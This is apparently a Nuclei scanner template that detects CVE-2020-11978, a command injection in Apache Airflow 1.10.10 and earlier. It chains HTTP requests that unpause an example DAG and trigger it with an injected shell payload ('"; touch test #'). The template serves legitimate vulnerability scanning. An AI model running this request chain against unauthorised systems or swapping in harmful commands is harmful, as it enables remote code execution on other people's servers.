73 lines
2.6 KiB
YAML
73 lines
2.6 KiB
YAML
id: CVE-2020-11978
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info:
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name: Apache Airflow <=1.10.10 - Remote Code Execution
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author: pdteam
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severity: high
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description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
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remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
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reference:
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- https://github.com/pberba/CVE-2020-11978
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- https://twitter.com/wugeej/status/1400336603604668418
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- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
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- http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-11978
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cwe-id: CWE-78
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epss-score: 0.97201
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epss-percentile: 0.99755
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cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: apache
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product: airflow
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shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs"
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tags: packetstorm,cve,cve2020,apache,airflow,rce,kev
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http:
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- raw:
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- |
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GET /api/experimental/test HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/json
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{"conf": {"message": "\"; touch test #"}}
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- |
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GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_4, "operator":"BashOperator")'
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- 'contains(header_4, "application/json")'
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condition: and
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extractors:
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- type: regex
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name: exec_date
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group: 1
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regex:
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- '"execution_date":"([0-9-A-Z:+]+)"'
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internal: true
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part: body
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# digest: 4a0a00473045022037528ea885a924cfeb005056ebe44f926bceb542383f87cef156c7222a43f288022100c86d4e8edc2bdb8000911702e1d197c87bd74a5ad3e7beb99d385d2e001aaa3c:922c64590222798bb761d5b6d8e72950
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